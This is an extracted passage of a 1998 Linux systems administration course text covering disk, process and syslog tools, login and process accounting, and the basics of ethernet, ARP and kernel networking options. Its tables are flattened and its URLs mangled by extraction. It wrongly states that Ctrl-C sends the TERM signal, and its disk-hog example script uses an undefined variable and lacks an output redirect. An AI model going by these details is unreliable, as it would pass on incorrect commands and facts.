following information for all mounted file systems total number of disk blocks, number of disk blocks used, number available percentage of disk blocks used, and where the file system is mounted. df also has an option, -i to display Inode usage rather than disk block usage. What an Inode is will be explained in a later chapter. Simply every file that is created must have an Inode. If all the Inodes are used you can't create anymore files. Even if you have disk space available. The -T option will cause df to display each file systems type.

David Jones, Bruce Jamieson (15/10/98)

Page 306

85321, Systems Administration

Chapter 14: Observation, automation and logging

Exercise
14.3

Use the df command to answer the following questions - how many partitions do you have mounted - how much disk space do you have left on your Linux partition - how many more files can you create on your Linux partition

du

The du command is used to discover the amount of disk space used by file or directory. By default du reports file size as a number of 1 kilobyte blocks. There are options to modify the command so it reports size in bytes (-b) or kilobytes (-k). If you use du on a directory it will report back the size of each file and directory within it and recursively descend down any sub-directories. The -s switch is used to produce the total amount of disk used by the contents of a directory. There are other options that allow you to modify the operation of du with respect to partitions and links. Exercise
14.4

Use the du command to answer the following questions - how many blocks does the /etc/passwd file use, - how large (in bytes) is the /etc/passwd file, - how disk space is used by the /etc/ directory, the usr directory

System Status
Table 14.2 summarises some of the commands that can be used to examine the current state of your machine. Some of the information they display includes amount of free and used memory, the amount of time the system has been up, the load average of the system, Load average is the number processes ready to be run and is used to give some idea of how busy your system is. the number of processes and amount of resources they are consuming. Some of the commands are explained below. For those that aren't use your system's manual pages to discover more.

David Jones, Bruce Jamieson (15/10/98)

Page 307

85321, Systems Administration

Chapter 14: Observation, automation and logging

Command
free uptime ps top uname

Purpose display the amount of free and used memory how long has the system been running and what is the current load average one off snap shot of the current processes continual listing of current processes display system information including the hostname, operating system and version and current date and time
Syste m Table 1 4 .2 status c o mmands

ps

The ps command displays a list of information about the process that were running at the time the ps command was executed.
ps has a number of options that modify what information it displays. Table 14.3

lists some of the more useful or interesting options that the Linux version of PS supports. Table 14.4 explains the headings used by ps for the columns it produces. For more information on the ps command you should refer to the manual page. Option Purpose l long format u displays username (rather than uid) and the start time of the process m display process memory info a display processes owned by other users (by default ps only shows your processes) x shows processes that aren't controlled by a terminal f use a tree format to show parent/child relationships between processes w don't truncate lines to fit on screen
ps
Table 1 4 .3 o ptio ns

Field Purpose NI the nice value SIZE memory size of the processes code, data and stack RSS kilobytes of the program in memory (the resident set size) STAT the status of the process (R-runnable, S-sleeping, D-uninterruptable sleep, Tstopped, Z-zombie) TTY the controlling terminal
Table 1 4 .4 ps fields

Exercise

David Jones, Bruce Jamieson (15/10/98)

Page 308

85321, Systems Administration

Chapter 14: Observation, automation and logging

14.5

Use the ps command to answer the following questions - how many processes do you currently own - how many processes are running on your system - how much RAM does the ps command use - what's the current running process

top
ps provides a one-off snap shot of the processes on your system. For an ongoing look at the processes Linux generally comes with the top command. It

also displays a collection of other information about the state of your system including uptime, the amount of time the system has been up the load average, the total number of processes, percentage of CPU time in user and system mode, memory usage statistics statistics on swap memory usage Refer to the man page for top for more information.
top is not a standard UNIX command however it is generally portable and

available for most platforms.

top displays the process on your system ranked in order from the most CPU

intensive down and updates that display at regular intervals. It also provides an interface by which you can manipulate the nice value and send processes signals. The nice value The nice value specifies how "nice" your process is being to the other users of the system. It provides the system with some indication of how important the process is. The lower the nice value the higher the priority. Under Linux the nice value ranges from -20 to 19. By default a new process inherits the nice value of its parent. The owner of the process can increase the nice value but cannot lower it (give it a higher priority). The root account has complete freedom in setting the nice value.

nice
The nice command is used to set the nice value of a process when it first starts.

David Jones, Bruce Jamieson (15/10/98)

Page 309

85321, Systems Administration

Chapter 14: Observation, automation and logging

renice
The renice command is used to change the nice value of a process once it has started. Signals When you hit the CTRL-C combination to stop the execution of a process a signal (the TERM signal) is sent to the process. By default many processes will terminate when they receive this signal The UNIX operating system generates a number of different signals. Each signal has an associated unique identifying number and a symbolic name. Table 14.6 lists some of the more useful signals used by the Linux operating system. There are 32 in total and they are listed in the file
/usr/include/linux/signal.h SIGHUP

The SIGHUP signal is often used when reconfiguring a daemon. Most daemons will only read the configuration file when they startup. If you modify the configuration file for the daemon you have to force it to re-read the file. One method is to send the daemon the SIGHUP signal.
SIGKILL

This is the big "don't argue" signal. Almost all processes when receiving this signal will terminate. It is possible for some processes to ignore this signal but only after getting themselves into serious problems. The only way to get rid of these processes is to reboot the system. Symbolic Name Numeric identifier
SIGHUP SIGKILL SIGTERM 1 9 15

Purpose hangup the kill signal software termination

Table 1 4 .5 Linux sig nals

kill
The kill command is used to send signals to processes. The format of the kill command is
kill [-signal] pid

This will send the signal specified by the number signal to the process identified with process identifier pid. The kill command will handle a list of process identifiers and signals specified using either their symbolic or numeric formats. By default kill sends signal number 15 (the TERM signal).

David Jones, Bruce Jamieson (15/10/98)

Page 310

85321, Systems Administration

Chapter 14: Observation, automation and logging

What's happened?
There will be times when you want to reconstruct what happened in the lead up to a problem. Situations where this might be desirable include you believe someone has broken into your system, one of the users performed an illegal action while online, and the machine crashed mysteriously at some odd time.

Logging and accounting

This is where logging, and The recording of certain events, errors, emergencies. accounting. Recording who did what and when. become useful. This section examines the methods under Linux by which logging and accounting are performed. In particular it will examine the syslog system, process accounting, and login accounting.

Managing log and accounting files

Both logging and accounting tend to generate a great deal of information especially on a busy system. One of the decisions the Systems Administrator must make is what to do with these files. Options include don't create them in the first place, The head in the sand approach. Not a good idea. keep them for a few days, then delete them, and If a problem hasn't been identified within a few days then assume there is no reasons to keep the log files. Therefore delete the existing ones and start from scratch. keep them for a set time and then archive them. Archiving these files might include compressing them and storing them online or copying them to tape.

Centralise
If you are managing multiple computers it is advisable to centralise the logging and accounting files so that they all appear on the one machine. This makes maintaining and observing the files easier.

David Jones, Bruce Jamieson (15/10/98)

Page 311

85321, Systems Administration

Chapter 14: Observation, automation and logging

Logging
The ability to log error messages or the actions carried out by a program or script is fairly standard. On earlier versions of UNIX each individual program would have its own configuration file that controlled where and what to log. This led to multiple configuration and log files that made it difficult for the Systems Administrator to control and each program had to know how to log.
syslog

The syslog system was devised to provide a central logging facility that could be used by all programs. This was useful because Systems Administrators could control where and what should be logged by modifying a single configuration file and because it provided a standard mechanism by which programs could log information. Components of syslog The syslog system can be divided into a number of components default log file, On many systems messages are logged by default into the file
/var/log/messages

the syslog message format, the application programmer's interface, The API programs use to log information. the daemon, and The program that directs logging information to the correct location based on the configuration file. the configuration file. Controls what information is logged and where it is logged. Exercise
14.6

Examine the contents of the file /var/log/messages. You will probably have to be the root user to do so. One useful piece of information you should find in that file is a copy of the text that appears as Linux boots.

syslog message format syslog uses a standard message format for all information that is logged. This

format includes a facility, The facility is used to describe the part of the system that is generating the message. Table 14.3 lists some of the common facilities. a level, The level indicates the severity of the message. In lowest to highest order the levels are debug info notice warning err crit alert emerg
David Jones, Bruce Jamieson (15/10/98) Page 312

85321, Systems Administration

Chapter 14: Observation, automation and logging

and a string of characters containing a message. Facility Source kern the kernel mail the mail system lpr the print system daemon a variety of system daemons auth the login authentication system
Table Co mmo n

syslog

1 4 .6 fac ilitie s

syslog's API

In order for syslog to be useful application programs must be able to pass messages to the syslog daemon so it can log the messages according to the configuration file.. There are at least two methods which application programs can use to send messages to syslog. These are: logger, logger is a UNIX command. It is designed to be used by shell programs which wish to use the syslog facility. the syslog API. The API (application program interface) consists of a set of the functions (openlog syslog closelog) which are used by programs written in compiled languages such as C and C++. This API is defined in the syslog.h file. You will find this file in the system include directory /usr/include. Exercises
14.7

14.8

Examine the manual page for logger. Use logger from the command line to send a message to syslog Examine the manual page for openlog and write a C program to send a message to syslog

syslogd syslogd is the syslog daemon. It is started when the system boots by one of the startup scripts. syslogd reads its configuration file when it startups or when it receives the HUP signal. The standard configuration file is /etc/syslog.conf. syslogd receives logging messages and carries out actions as specified in the

configuration file. Standard actions include appending the message to a specific file, forwarding the message to the syslogd on a different machine, or display the message on the consoles of all or some of the logged in users.
/etc/syslog.conf

David Jones, Bruce Jamieson (15/10/98)

Page 313

85321, Systems Administration

Chapter 14: Observation, automation and logging

By default syslogd uses the file /etc/syslog.conf as its configuration file. It is possible using a command line parameter of syslogd to use another configuration file. A syslog configuration file is a text file. Each line is divided into two fields separated by one or more spaces or tab characters a selector, and Used to match log messages. an action. Specifies what to do with a message if it is matched by the selector The selector The selector format is facility.level where facility and level level match those terms introduced in the syslog message format section from above. A selector field can include multiple selectors separated by ; characters multiple facilities, separated by a , character, for a single level an * character to match all facilities or levels The level can be specified with or without a =. If the = is used only messages at exactly that level will be matched. Without the = all messages at or above the specified level will be matched.
syslog.conf actions

The actions in the syslog configuration file can take one of four formats a pathname starting with / Messages are appended onto the end of the file. a hostname starting with a @ Messages are forwarded to the syslogd on that machine. a list of users separated by commas Messages appear on the screens of those users if they are logged in. an asterix Messages are displayed on the screens of all logged in users. For example The following is an example syslog configuration file taken from the Linux manual page for syslog.conf
# Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console # Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure

David Jones, Bruce Jamieson (15/10/98)

Page 314

85321, Systems Administration

Chapter 14: Observation, automation and logging

# Log all the mail messages in one place. mail.* /var/log/maillog # Everybody gets emergency messages, plus log them on another # machine. *.emerg * # Save mail and news errors of level err and higher in a # special file. uucp,news.crit /var/log/spooler

Exercise
14.9

A common problem on many systems are users who consume too much disk space. One method to deal with this is to have a script which regularly checks on disk usage by users and reports those users who are consuming too much. The following is one example of a script to do this.
#!/bin/bash # global constant # DISKHOGFILE holds the location of the file defining each users # maximum disk space DISKHOGFILE="disk.hog" # OFFENDERFILE specifiesl where to write information about offending # users OFFENDERFILE="offender" space_used() # accept a username as 1st parameter # return amount of disk space used by the users home directory # in a variable usage { # home directory is the sixth field in /etc/passwd the_home=`grep ^$1: /etc/passwd | cut -d: -f6` # du uses a tab character to seperate out its fields # we're only interested in the first one usage=`du -s $the_home | cut -f1` } # # Main Program # while read username max_space do space_used $username if [ $usage -gt $max_space ] then echo $username has a limit of $max_space and has used $used $OFFENDERFILE fi done < $DISKHOGFILE

Modify this script so that it uses the syslog system rather than displaying its output onto standard output.

David Jones, Bruce Jamieson (15/10/98)

Page 315

85321, Systems Administration

Chapter 14: Observation, automation and logging

14.10

Configure syslog so the messages from the script in the previous question are appended to the logfile /var/log/disk.hog.messages and also to the main system console.

Accounting
Accounting was developed when computers were expensive resources and people were charged per command or CPU time. In today's era of cheap, powerful computers its rarely used for these purposes. One thing accounting is used for is as a source of records about the use of the system. Particular useful if someone is trying, or has, broken into your system. In this section we will examine login accounting. process accounting

Login accounting
The file /var/log/wtmp is used to store the username, terminal port, login and logout times of every connection to a Linux machine. Every time you login or logout the wtmp file is updated. This task is performed by init. last The last command is used to view the contents of the wtmp file. There are options to limit interest to a particular user or terminal port. Exercise
14.11

Use the last command to - count how many logins there have been since the current wtmp file was created, - how many times has the root user logged in

ac The last command provides rather rudimentary summary of the information in the wtmp file. As a Systems Administrator it is possible that you may require more detailed summaries of this information. For example, you may desire to know the total number of hours each user has been logged in, how long per day and various other information. The command that provides this information is the ac command.

David Jones, Bruce Jamieson (15/10/98)

Page 316

85321, Systems Administration

Chapter 14: Observation, automation and logging

Installing ac It is possible that you will not have the ac command installed. On a RedHat Linux 5.0 machine it should be located in /usr/bin/ac. The ac command is part of the psacct package. If you don't have ac installed you will have to use rpm or glint to install the package. Exercise
14.12

Use the ac command to - find the total number of hours you were logged in as the root user - find the average number of hours per login for all users - find the total and average hours of login for the root user for the last 7 days

Process accounting
Also known as CPU accounting, process accounting records the elapsed CPU time, average memory use, I/O summary, the name of the user who ran the process, the command name and the time each process finished. Turning process accounting on Process accounting does not occur until it is turned on using the accton command.
accton /var/log/acct

Where /var/log/acct is the file in which the process accounting information will be stored. The file must already exist before it will work. You can use any filename you wish but many of the accounting utilities rely on you using this file.
lastcomm lastcomm is used to display the list of commands executed either for everyone,

for particular users, from particular terminals or just information about a particular command. Refer to the lastcomm manual page for more information.
[root@beldin /proc]# lastcomm david netscape david tty1 [root@beldin /proc]# lastcomm ttyp2 lastcomm root ttyp2 ls root ttyp2 ls root ttyp2 accton root ttyp2 0.02 secs Sun Jan 25 16:26 0.55 0.03 0.02 0.01 secs secs secs secs Sun Sun Sun Sun Jan Jan Jan Jan 25 25 25 25 16:21 16:21 16:21 16:21

David Jones, Bruce Jamieson (15/10/98)

Page 317

85321, Systems Administration

Chapter 14: Observation, automation and logging

The sa command The sa command is used to provide more detailed summaries of the information stored by process accounting and also to summarise the information into other files.
[root@beldin /proc]# /usr/sbin/sa -a 66 0.19re 0.25cp 6 0.01re 0.16cp 8 0.00re 0.04cp 17 0.00re 0.01cp 6 0.01re 0.01cp 1 0.00re 0.01cp 5 0.01re 0.01cp 1 0.15re 0.01cp 6 0.01re 0.01cp 5 0.00re 0.00cp 1 0.00re 0.00cp 2 0.00re 0.00cp 1 0.00re 0.00cp 1 0.00re 0.00cp 1 0.00re 0.00cp 1 0.00re 0.00cp 1 0.00re 0.00cp 1 0.00re 0.00cp 2 0.00re 0.00cp

cat lastcomm ls man troff less in.ftpd sh gunzip grotty sa groff gtbl gzip sh* netscape* accton bash*

Refer to the manual pages for the sa command for more information.

So what?
This section has given a very brief overview of process and login accounting and the associated commands and files. What use do these systems fulfil for a Systems Administrator? The main one is that they allow you to track what is occurring on your system and who is doing it. This can be useful for a number of reasons tracking which user's are abusing the system figuring out what is normal for a user If you know that most of your users never use commands like sendmail and the C compilers (via process accounting) and then all of a sudden they start using this might be an indication of a break in. justifying to management the need for a larger system Generally management won't buy you a bigger computer just because you want one. In most situations you will have to put together a case to justify why the additional expenditure is necessary. Process and login account could provide some of the necessary information.

Conclusions
The cron system is used to automatically perform tasks at set times. Components of the cron system include the daemon, crond, Which actually performs the specified tasks.
David Jones, Bruce Jamieson (15/10/98) Page 318

85321, Systems Administration

Chapter 14: Observation, automation and logging

crontab files, and That specify the when and what. the crontab command. Used to manipulate the crontab files. Useful commands for examining the current status of your systems file system include df and du. Commands for examining and manipulating processes include ps, kill, renice, nice and top. Other "status" commands include free, uptime and uname.
syslog is a centralised system for logging information about system events. It's

components include an API and a program (logger) by which information can be logged, the syslogd daemon that actually performs the logging, and the /etc/syslog.conf that specifies what and where logging information should be logged. Login accounting is used to track when, where and for how long users connect to your system. Process accounting is used to track when and what commands were executed. By default Linux does not provide full support for either form of accounting (it does offer some standard login accounting but not the extra command sac). However there are freely available software distributions that provide Linux this functionality. Login accounting is performed in the /var/log/wtmp file that is used to store the details of every login and logout from the system. The last command can be used to view the contents of the binary /var/log/wtmp file. The nonstandard command sac can be used to summarise this information into a number of useful formats. Process accounting must be turned on using the accton command and the results can be viewed using the lastcomm command. Both logging and accounting can produce files that grow to some considerable size in a short amount of time. The Systems Adminstrator must implement strategies to deal with these log files. Either by ignoring and deleting them or by saving them to tape.

Review Questions
14.1 Explain the relationship between each of the following crond, crontab files and the crontab command, syslogd, logger and /etc/syslog.conf /var/adm/wtmp, last and sac 14.2 You have just modified the /etc/syslog.conf file. Will your changes take effect immediately? If not what command would you use to make the

David Jones, Bruce Jamieson (15/10/98)

Page 319

85321, Systems Administration

Chapter 14: Observation, automation and logging

modifications take effect? How could you check that the modifications are working? 14.3 Write crontab entries to achieve the following run the script /usr/local/adm/bin/archiveIt every Monday at 6 am run a script /usr/local/adm/bin/diskhog on Monday, Wednesday and Friday at 6am, 12pm, 4pm

David Jones, Bruce Jamieson (15/10/98)

Page 320

85321, Systems Administration

Chapter 15: Networks: The Connection

Chapter
Introduction

15

Networks: The Connection

Networks, connecting computers to networks and managing those networks are probably the most important, or at least the most hyped, areas of computing at the moment. This and the following chapter introduce the general concepts associated with TCP/IP-based networks and in particular the knowledge required to connect and use Linux computers to those networks. This chapter examines how you connect a Linux machine and configure it to provide basic network connections and services for other machines. Network applications, how they work and what you can do with them, is the topic for the following chapter. This chapter introduces the process and knowledge for connecting a Linux machine to a TCP/IP network from the lowest level up using the following steps network hardware Briefly looks at the hardware peripherals that allow network connections and in particular the network hardware which Linux supports. network support in the Linux kernel Many of the networking services require support from the kernel of the operating system. This section examines what support for network services the Linux kernel provides. configuring the network connection Once the hardware is installed and the kernel rebuilt the network connection must be configured. Linux/UNIX uses a number of specific commands to perform these tasks. Each of these steps requires an understanding of the operation and basics of TCP/IP networks. These concepts are introduced throughout the sections as they are required.

David Jones, Bruce Jamieson (15/10/98)

Page 321

85321, Systems Administration

Chapter 15: Networks: The Connection

Related Material
As you might expect there is a large amount of information about creating and maintaining TCP/IP networks on the Internet. The following is a small list of some of that material Linux NET-3-HOWTO A good, succinct source of information specific to Linux networking. Available from the Linux Documentation Project of which there is a mirror on the 85321 Web site/CD-ROM (see the link "LDP" on the Resource Materials Page). The LDP also includes a number of other HOW-TOs on network related topics including DNS, Ethernet, Firewall, IPX, ISP Hookup, Intranet Server, NFS, NIS, PPP, SMB and a number of other mini-howtos. As always when looking for information about using Linux for some purpose, looking through the HOW-TOs is a good idea. Network Administrators Guide A book which has been published by O'Rielly and Associates (http://www.ora.com/) but is also freely available as part of the Linux Documentation Project. Also available from the LDP in HTML or Postscript format. Linux network project Development on the Linux networking code is an on-going project. The project leader maintains a Web site which contains information about the current developments. It's located at http://www.uk.linux.org/NetNews.html comp.os.linux.networking A newsgroup specifically for discussions about Linux networking. TCP/IP introduction and administration, Documents produced by Rutgers University. Available via ftp from the URLsftp://athos.rutgers.edu/runet/tcp-ip-intro.{doc|ps} tcp-ipadmin.{doc|ps|} and also from the 85321 Web site (but not the CD-ROM) under the Resource Materials section for Week 9. RFC Database RFCs (Request for comments) are the standards documents for the Internet. A Web-based interface to the collection of RFCs is available from http://pubweb.nexor.co.uk/public/rfc/index/rfc.html Linux for an ISP A number of Internet Service Providers from throughout the world use Linux servers. There is a Web page which maintains a list of links of interest to these folk. It is available at http://www.anime.net/linuxisp/ Some of the links are dated.

Network Hardware
The first step in connecting a machine to a network is to find out what sort of network hardware you will be using. The aim of this unit and this chapter is not to give you a detailed introduction to networking hardware. If you are

David Jones, Bruce Jamieson (15/10/98)

Page 322

85321, Systems Administration

Chapter 15: Networks: The Connection

interested in the topic there are a number of readings and resources mentioned throughout this section. Before you can use a particular type of networking hardware, or any hardware for that matter, there must be support for that device in the Linux kernel. If the kernel doesn't support the required hardware then you can't use it. Currently the Linux kernel offers support for the networking hardware outlined in list below. For more detailed information about hardware support under Linux refer to the Hardware Compatibility HOWTO available from your nearest mirror of the Linux Documentation Project. arcnet ATM http://lrcwww.epfl.ch/linux-atm/ AX25, amateur radio EQL EQL allows you to treat multiple point-to-point connections (SLIP, PPP) as a single logical TCP/IP connection. FDDI Frame relay ISDN PLIP PPP SLIP radio modem, STRIP, Starmode Radio IP http://mosquitonet.standford.edu/{mosquitonet.html|strip.html} token ring X.25 WaveLan, wireless, card, and ethernet In most "normal" situations the networking hardware being used will be either modem A modem is a serial device so your Linux kernel should support the appropriate serial port you have in your computer. The networking protocol used on a modem will be either SLIP or PPP which must also be supported by the kernel. ethernet Possibly the most common form of networking hardware at the moment. There are a number of different ethernet cards. You will need to make sure that the kernel supports the particular ethernet card you will be using. The Hardware Compatibility HOW-TO includes this information.

Network devices
As mentioned in chapter 10 the only way a program can gain access to a physical device is via a device file. Network hardware is still hardware so it follows that there should be device files for networking hardware. Under other versions of the UNIX operating system this is true. It is not the case under the Linux operating system.

David Jones, Bruce Jamieson (15/10/98)

Page 323

85321, Systems Administration

Chapter 15: Networks: The Connection

Device files for networking hardware are created, as necessary, by the device drivers contained in the Linux kernel. These device files are not available for other programs to use. This means I can't execute the command
cat < /etc/passwd > /dev/eth0

The only way information can be sent via the network is by going through the kernel. Remember, the main reason UNIX uses device files is to provide an abstraction which is independent of the actual hardware being used. A network device file must be configured properly before you can use it send and receive information from the network. The process for configuring a network device requires a bit more background information than you have at the moment. The following provides that background and a later section in the chapter examines the process and the commands in more detail. The installation process for RedHat 5.0 will normally perform some network configuration for you. To find out what network devices are currently active on your system have a look at the contents of the file /proc/net/dev
[david@faile]$ cat /proc/net/dev Inter-| Receive | Transmit face |packets errs drop fifo frame|packets errs drop fifo colls carrier lo: 91 0 0 0 0 91 0 0 0 0 0 eth0: 0 0 0 0 0 60 0 0 0 0 60

On this machine there are two active network devices. lo: the loopback device and eth0: an ethernet device file. If a computer has more than one ethernet interface (network devices are usually called network interfaces) you would normally see entries for eth1 eth2 etc. IP aliasing (talked about more later) is the ability for a single ethernet card to have more than one Internet address (why this is used is also discussed later). The following example shows the contents of the /proc/net/dev file for a machine using IP aliasing. It is not normal for an ethernet card to have multiple IP addresses, normally each ethernet card/interface will have one IP address.
[david@cq-pan ]$ cat /proc/net/dev Inter-| Receive | Transmit face |packets errs drop fifo frame|packets errs drop fifo colls carrier lo: 285968 0 0 0 0 285968 0 0 0 0 0 eth0:61181891 59 59 0 89 77721923 0 0 0 11133617 57 eth0:0: 48849 0 0 0 0 212 0 0 0 0 0 eth0:1: 10894 0 0 0 0 210 0 0 0 0 0 eth0:2: 481325 0 0 0 0 259 0 0 0 0 0 eth0:3: 29178 0 0 0 0 215 0 0 0 0 0

You can see that the device files for an aliased ethernet device uses the format ethX:Y where X is the number for the ethernet card and Y is the number of the aliased device. Since aliased devices use the same ethernet card they must use the same network, after all you can't connect a single ethernet card to two networks.

David Jones, Bruce Jamieson (15/10/98)

Page 324

85321, Systems Administration

Chapter 15: Networks: The Connection

Ethernet
The following provides some very brief background information on ethernet which will be useful in the rest of the chapter. Ethernet addresses Every ethernet card has built into it a 48 bit address (called an Ethernet address or a Media Access Control (MAC) address). The high 24 bits of the address are used to assign a unique number to manufacturers of ethernet addresses and the low 24 bits are assigned to individual ethernet cards made by the manufacturer. Some example ethernet addresses, you will notice that ethernet addresses are written using 6 tuples of HEX numbers, are listed below
00:00:0C:03:79:2F 00:40:F6:60:4D:A4 00:20:AF:A4:55:87 00:20:AF:A4:55:7B

Notice that the last two ethernet cards were made by the same manufacturer (with the manufacturers number of 00:20:AF). Ethernet is a broadcast medium Every packet, often called an ethernet frame, of information sent on ethernet contains a source and destination MAC address. The packet is placed on a ethernet network and every machine, actually the ethernet card, on the network looks at the packet. If the card recognises the destination MAC as its own it "grabs" the packet and passes it to the Network access layer. It is possible to configure your ethernet card so that it grabs all packets sent on the network. This is how it is possible to "listen in" on other people on a ethernet network. A single ethernet network cannot cover much more than a couple of hundred meters. How far depends on the type of cabling used.

Converting hardware addresses to Internet addresses

The network access layer, the lowest level of the TCP/IP protocol stack is responsible for converting Internet addresses into hardware addresses. This is how TCP/IP can be used over a large number of different networking hardware. As you might have guessed different networking hardware uses different addressing schemes. Address Resolution Protocol The mapping of ethernet addresses into Internet addresses is performed by the Address Resolution Protocol (ARP). ARP maintains a table that contains the translation between IP address and ethernet address.

David Jones, Bruce Jamieson (15/10/98)

Page 325

85321, Systems Administration

Chapter 15: Networks: The Connection

When the machine wants to send data to a computer on the local ethernet network the ARP software is asked if it knows about the IP address of the machine (remember the software deals in IP addresses). If the ARP table contains the IP address the ethernet address is returned. If the IP address is not known a packet is broadcast to every host on the local network, the packet contains the required IP address. Every host on the network examines the packet. If the receiving host recognises the IP address as its own, it will send a reply back that contains its ethernet address. This response is then placed into the ARP table of the original machine (so it knows it next time). The ARP table will only contain ethernet addresses for machines on the local network. Delivery of information to machines not on the local network requires the intervention of routing software which is introduced later in the chapter.
arp

On a UNIX machine you can view the contents of the ARP table using the arp command. arp -a will display the entire table. The following example shows how the arp cache for a computer is built as it goes. In the first use of the arp command you can see three machines in the cache, centaurus, draal and a ?. The ? is almost certainly one of the NT computers in the student labs at CQU. Draal is one of the Linux computers used by project students and centaurus is the gateway between the 138.77.37 network and the rest of the world.
[root@cq-pan logs]# /sbin/arp a centaurus.cqu.EDU.AU (138.77.37.1) at AA:00:04:00:0B:1C [ether] on eth0 draal.cqu.EDU.AU (138.77.37.100) at 00:20:AF:33:B5:BE [ether] on eth0 ? (138.77.37.46) at <incomplete> on eth0

To see how new entries are added to the cache the next example shows the ping command. Ping is often used to test a network connection and to see if a particular machine is alive. In this case I'm pinging pug, who also happens to be on the 138.77.37 network.
[root@cq-pan logs]# ping pug PING pug.cqu.edu.au (138.77.37.102): 56 data bytes 64 bytes from 138.77.37.102: icmp_seq=0 ttl=64 time=19.0 ms --- pug.cqu.edu.au ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 19.0/19.0/19.0 ms

Since we've now contacted pug and pug is on the same network as this machine its entry should now appear in the arp cache.
[root@cq-pan logs]# /sbin/arp a centaurus.cqu.EDU.AU (138.77.37.1) at AA:00:04:00:0B:1C [ether] on eth0 draal.cqu.EDU.AU (138.77.37.100) at 00:20:AF:33:B5:BE [ether] on eth0 pug.cqu.EDU.AU (138.77.37.102) at 00:20:AF:A4:3B:0F [ether] on eth0 ? (138.77.37.46) at <incomplete> on eth0

There (s)he blows. If pug was not on the same local area network its ethernet address would not be added to the arp cache. Remember, ethernet addresses
David Jones, Bruce Jamieson (15/10/98) Page 326

85321, Systems Administration

Chapter 15: Networks: The Connection

are only used to communicate with machines on the same ethernet network. For example, if I ping the machine www.cqu.edu.au it won't be added to the arp cache since it is on a different network.
[root@cq-pan logs]# ping www PING plato.cqu.edu.au (138.77.5.4): 56 data bytes 64 bytes from 138.77.5.4: icmp_seq=0 ttl=63 time=1.7 ms --- plato.cqu.edu.au ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.7/1.7/1.7 ms

SLIP, PPP and point to point

SLIP and PPP, used to connect machines via serial lines (and modems) are not broadcast media. They are simple "point-to-point" connections between two computers. This means that when information is placed on a SLIP/PPP connection only the two computers at either end of that connection can see the information. SLIP/PPP are usually used when a computer is connected to a network via a modem or a serial connection. This chapter does not provide any more discussion of SLIP/PPP. However all the basic concepts and the fundamental process for connecting a machine to the network are the same for SLIP/PPP as they are for ethernet. This is one of the advantages of TCP/IP networking being layered. Above a certain level, i.e. when the network interface is configured, the system works the same regardless of the hardware.

Kernel support for networking

Ensuring that the kernel includes support for your networking hardware is only the first step. In order to supply certain network services it is necessary for them to be compiled into the kernel. The following is a list of some of the services that the Linux kernel can support IP accounting IP accounting must be compiled into the kernel and is configured with the ipfwadm command. IP accounting allows you to track the number of bytes and packets transmitted over the network connection. This is useful in situations where you must track the network usage of your users. For example, if you are a Internet Service Provider. IP aliasing Essentially, IP aliasing allows your computer to pretend it is more than one computer. In a normal configuration each network device is allocated a single IP address. However there are times when you wish to allocate multiple IP addresses to a computer with a single network interface. The most common example of this is web sites, for example, the websites http://cq-pan.cqu.edu.au/, http://webclass.cqu.edu.au/, and http://webfuse.cqu.edu.au/ are all hosted by one computer. This computer only has one ethernet card and uses IP aliasing to create aliases for the ethernet card. The ethernet card's real IP address is 138.77.37.37 and its

David Jones, Bruce Jamieson (15/10/98)

Page 327

85321, Systems Administration

Chapter 15: Networks: The Connection

three alias addresses are 138.77.37.36, 138.77.37.59 and 138.77.37.108. Normally the interface would only grab the network packets addressed to 138.77.37.37 but with network aliasing it will grab the packets for all three addresses. You can see this in action by using the arp command. Have a look at the hardware addresses for the computers cq-pan, webclass and webfuse. What can you tell?
[david@draal david]$ /sbin/arp Address HWtype HWaddress centaurus.cqu.EDU.AU ether AA:00:04:00:0B:1C webfuse.cqu.EDU.AU ether 00:60:97:3A:AA:85 eth0 cq-pan.cqu.EDU.AU ether 00:60:97:3A:AA:85 eth0 science.cqu.EDU.AU ether 00:00:F8:01:9E:DA eth0 borric.cqu.EDU.AU ether 00:20:AF:A4:39:39 eth0 webclass.cqu.EDU.AU ether 00:60:97:3A:AA:85 eth0 138.77.37.46 (incomplete) eth0 Flags Mask C C C C C C Iface eth0

IP firewall This option allows you to use a Linux computer to implement a firewall. A firewall works by allowing you to selectively ignore certain types of network connections. By doing this you can restrict what access there is to your computer (or the network behind it) and as a result help increase security. The firewall option is closely related to IP accounting, for example it is configured with the same command, ipfwadm. IP encapsulation IP encapsulation is where the IP packet from your machine is wrapped inside another IP packet. This is of particular use mobile IP and IP multicast. IPX IPX protocol is used in Novel Netware systems. Including IPX support in the Linux kernel allows a Linux computer to communicate with Netware machines. IPv6 IPv6, version 6 of the IP protocol, is the next generation of which is slowly being adopted. IPv6 includes support for the current IP protocol. Linux support for IPv6 is slowly developing. You can find more information at http://www.terra.net/ipv6/ IP masquerade IP masquerade allows multiple computers to use a single IP address. One situation where this can be useful is when you have a single dialup connection to the Internet via an Internet Service Provider (ISP). Normally, such a dialup connection can only be used by the machine which is connected. Even if the dialup machine is on a LAN with other machines

David Jones, Bruce Jamieson (15/10/98)

Page 328

85321, Systems Administration

Chapter 15: Networks: The Connection

connected they cannot access the Internet. However with IP masquerading it is possible to allow all the machines on that LAN access the Internet. Network Address Translation Support for network address translation for Linux is still at an alpha stage. Network address translation is the "next version" of IP masquerade. See http://www.csn.tu-chemnitz.de/HyperNews/get/linux-ip-nat.html for more information. IP proxy server Mobile IP Since an IP address consists of both a network address and a host address it can normally only be used when a machine is connected to the network specified by the network address. Mobile IP allows a machine to be moved to other networks but still retain the same IP. IP encapsulation is used to send packets destined for the mobile machine to its new location. See http://anchor.cs.binghamton.edu/mobileip/ for more information. IP multicast IP multicast is used to send packets simultaneously to computers and separate IP networks. It is used for a variety of audio and video transmission. See http://www.teksouth.com/linux/multicast/ for more information.

TCP/IP Basics
